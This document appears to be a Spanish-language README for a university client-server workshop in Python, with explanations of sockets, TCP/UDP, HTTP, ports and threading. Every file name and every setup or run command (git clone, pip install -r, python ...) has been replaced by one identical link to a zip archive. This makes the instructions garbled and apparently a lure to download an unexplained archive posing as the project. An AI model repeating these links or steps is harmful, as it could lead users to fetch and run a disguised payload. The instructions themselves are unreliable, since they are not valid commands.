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Plantilla para el taller #1 de Arquitectura de Software: Cliente-Servidor

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axlcraft/as-taller1

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taller #1 de Arquitectura de Software: Cliente-Servidor

Descripción

Este proyecto proporciona una plantilla para la implementación de los ejemplos del modelo Cliente/Servidor, según se explican en el vídeo Programando Cliente/Servidor con Python

Estructura del Proyecto

as-taller1/
├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
├── .gitignore
├── 01_sockets/
│   ├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
│   └── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
├── 02_echo/
│   ├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
│   └── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
├── 03_chat/
│   ├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
│   └── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
├── 04_http/
│   ├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
│   └── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
└── 05_proyecto/
    ├── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
    └── https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

Instalación

# Clonar el repositorio
git clone https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip
cd as-taller1

# Crear entorno virtual
python -m venv venv

# Activar entorno virtual en Windows:
venv\Scripts\activate
# Activar entorno virtual en Linux/Mac:
source venv/bin/activate

# Instalar dependencias
pip install -r https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

Ejercicios

1. Sockets Básicos (Paso de Mensajes)

  • Ubicación: 01_sockets/
  • Descripción: Implementación básica de comunicación cliente-servidor con sockets
  • Características:
    • elabora la documentación
    • ...
    • ...

Uso:

# Terminal 1 - Servidor
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

# Terminal 2 - Cliente
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

2. Servidor Echo

  • Ubicación: 02_echo/
  • Descripción: Servidor que devuelve exactamente lo que recibe del cliente
  • Características:
    • elabora la documentación
    • ...
    • ...

Uso:

# Terminal 1 - Servidor
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

# Terminal 2 - Cliente
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

3. Chat Multiusuario

  • Ubicación: 03_chat/
  • Descripción: Sistema de chat que permite múltiples usuarios conectados simultáneamente
  • Características:
    • elabora la documentación
    • ...
    • ...

Uso:

# Terminal 1 - Servidor
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

# Terminales adicionales - Clientes
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

4. Servidor HTTP Básico

  • Ubicación: 04_http/
  • Descripción: Implementación de un servidor HTTP básico desde cero
  • Características:
    • elabora la documentación
    • ...
    • ...

Uso:

# Servidor HTTP
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

# Acceder desde navegador:
# http://localhost:8080

5. Proyecto del Estudiante

  • Ubicación: 05_proyecto/
  • Descripción: Cada estudiante debe crear un programa cliente/servidor de su elección
  • Características:
    • elabora la documentación
    • ...
    • ...

Uso:

# Terminal 1 - Servidor
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

# Terminal 2 - Cliente
python https://raw.githubusercontent.com/axlcraft/as-taller1/main/Latinistical/as-taller1.zip

Conceptos

Modelo Cliente/Servidor

Esta arquitectura es un patrón de diseño de software en el que las tareas se dividen entre los proveedores de un recurso o servicio (servidores) y los solicitantes de dicho servicio (clientes).

  • El Servidor: Es un programa que se ejecuta de forma continua, esperando y escuchando solicitudes de los clientes. Puede manejar una o múltiples conexiones, como en el caso del chat multiusuario. Sus responsabilidades incluyen:

    • Gestionar el acceso a recursos compartidos (como la base de datos de un sitio web o los mensajes de un chat).
    • Responder a las solicitudes de los clientes.
    • Autenticar usuarios.

  • El Cliente: Es un programa que inicia la comunicación y envía solicitudes al servidor. Sus responsabilidades son:

    • Interactuar con el usuario.
    • Enviar solicitudes bien formadas al servidor.
    • Procesar y mostrar la respuesta del servidor.

Patrones de Interacción:

  • Modelo de Petición/Respuesta (Request/Response): Es el patrón más simple. El cliente envía una solicitud al servidor y espera una respuesta antes de hacer otra cosa. El servidor procesa la solicitud y envía la respuesta. El ejemplo del Servidor Echo y el Servidor HTTP Básico se basan directamente en este patrón.

  • Modelo de Publicador/Suscriptor (Publisher/Subscriber): En este patrón, el servidor actúa como un "publicador" que envía mensajes a los clientes que se han "suscrito" a un tema de interés. El Chat Multiusuario es un ejemplo de este patrón, donde los mensajes de un usuario se "publican" a todos los demás clientes "suscritos" al chat.

Red de Computadores

Es un conjunto de equipos y dispositivos interconectados que comparten recursos e información. La conexión puede ser física (como un cable Ethernet) o inalámbrica (Wi-Fi). Los conceptos de cliente y servidor son fundamentales en este contexto:

  • Cliente: Una aplicación que inicia una solicitud a otra computadora (el servidor).
  • Servidor: Una aplicación que escucha las solicitudes entrantes y responde a ellas.

Protocolos de Red

Es un conjunto de reglas que definen cómo los datos deben ser formateados, transmitidos y recibidos. Para que el cliente y el servidor se entiendan, necesitan hablar el mismo "idioma". Ese idioma es un protocolo. En este proyecto, los protocolos más relevantes son TCP y HTTP.

  • TCP (Transmission Control Protocol): Es un protocolo de transporte que garantiza una comunicación fiable, ordenada y orientada a la conexión. Esto significa que antes de enviar datos, el cliente y el servidor establecen una conexión y, una vez que los datos se envían, TCP verifica que llegaron correctamente y en el orden adecuado. Es ideal para aplicaciones donde no se pueden perder datos, como un chat o la transferencia de archivos.

  • HTTP (Hypertext Transfer Protocol): Es un protocolo de aplicación diseñado para la comunicación entre navegadores web (clientes) y servidores web. Se basa en TCP y define cómo los navegadores solicitan páginas web y cómo los servidores responden. En el proyecto, el Servidor HTTP Básico implementa una versión simple de este protocolo.

Sockets

Es un punto final de comunicación en una red. Piensa en un socket como un extremo de una tubería. Cuando un cliente y un servidor se conectan, crean una "tubería" (la conexión) entre sus respectivos sockets para intercambiar datos. En Python, la librería socket proporciona las funciones para crear y manipular estos puntos de conexión.

Proceso Básico del Servidor:

  • socket(): Crea un nuevo socket.
  • bind(): Asocia el socket a una dirección IP y un número de puerto específicos. Esto le dice al sistema operativo que este servidor "escucha" en esa dirección.
  • listen(): Pone el socket en modo de escucha para aceptar conexiones entrantes.
  • accept(): Bloquea la ejecución y espera una conexión de un cliente. Cuando llega una conexión, devuelve un nuevo socket para esa conexión específica y la dirección del cliente.

Proceso Básico del Cliente:

  • socket(): Crea un nuevo socket.
  • connect(): Se conecta al socket del servidor especificado por su dirección IP y puerto.

Los sockers pueden ser creados sobre protocolo TCP o UDP, su elección depende de la necesidad de fiabilidad versus velocidad.

Sockets TCP (Orientados a la Conexión):

  • Características:

    • Fiabilidad: Garantiza que los paquetes de datos lleguen en el orden correcto y sin errores. Si se pierde un paquete, TCP lo reenvía.
    • Orientación a la conexión: Establece una conexión persistente (el "handshake" de tres vías) antes de enviar datos y la cierra al finalizar.
    • Control de flujo: Evita que un emisor rápido sature a un receptor lento.

  • Casos de uso: Aplicaciones donde la integridad de los datos es crítica:

    • Navegación web (HTTP).
    • Transferencia de archivos (FTP).
    • Correo electrónico.
    • Chat multiusuario, como el del proyecto, para asegurar que todos los mensajes se entregan.

Sockets UDP (Sin Conexión)

  • Características:

    • No fiable: Los paquetes (llamados datagramas) se envían sin establecer una conexión previa. No hay garantía de que lleguen, ni de que lo hagan en el orden correcto.
    • Sin conexión: No hay "handshake". El emisor simplemente envía los datos.
    • Velocidad: Al no tener la sobrecarga de la fiabilidad, UDP es mucho más rápido.

  • Casos de uso: Aplicaciones donde la velocidad es más importante que la fiabilidad:

    • Streaming de video y audio en tiempo real.
    • Videojuegos en línea.
    • Consultas DNS (Domain Name System).

Programación Concurrente

Es la capacidad de un sistema para manejar múltiples tareas aparentemente al mismo tiempo. En lugar de procesar a un cliente por completo antes de atender al siguiente, la programación concurrente permite que el servidor alterne entre las conexiones de forma eficiente.

  • Threading (Hilos): Los hilos son una de las formas más comunes de lograr la concurrencia en Python. Un hilo es una unidad de ejecución ligera dentro de un proceso. Para el chat multiusuario, el servidor puede crear un nuevo hilo por cada cliente que se conecta. Cada hilo se encarga de manejar la comunicación con su cliente específico, permitiendo que el hilo principal del servidor siga escuchando nuevas conexiones.

Puertos

Son un número de 16 bits que identifica una aplicación o servicio específico en una computadora. Cuando un cliente se conecta a una dirección IP, también debe especificar un puerto para que el sistema operativo sepa a qué programa entregar los datos. Por ejemplo, el puerto 80 es el puerto estándar para el tráfico HTTP. El proyecto Servidor HTTP Básico usará el puerto 80 (o un puerto similar) para recibir las solicitudes web.

Sugerencias para aprender más ...

  • Logging configurable por módulo
  • Pruebas unitarias para cada ejemplo
  • Documentación detallada por componente
  • Manejo robusto de errores y excepciones
  • Código limpio y bien documentado
  • Patrones de diseño aplicados

Recursos Adicionales

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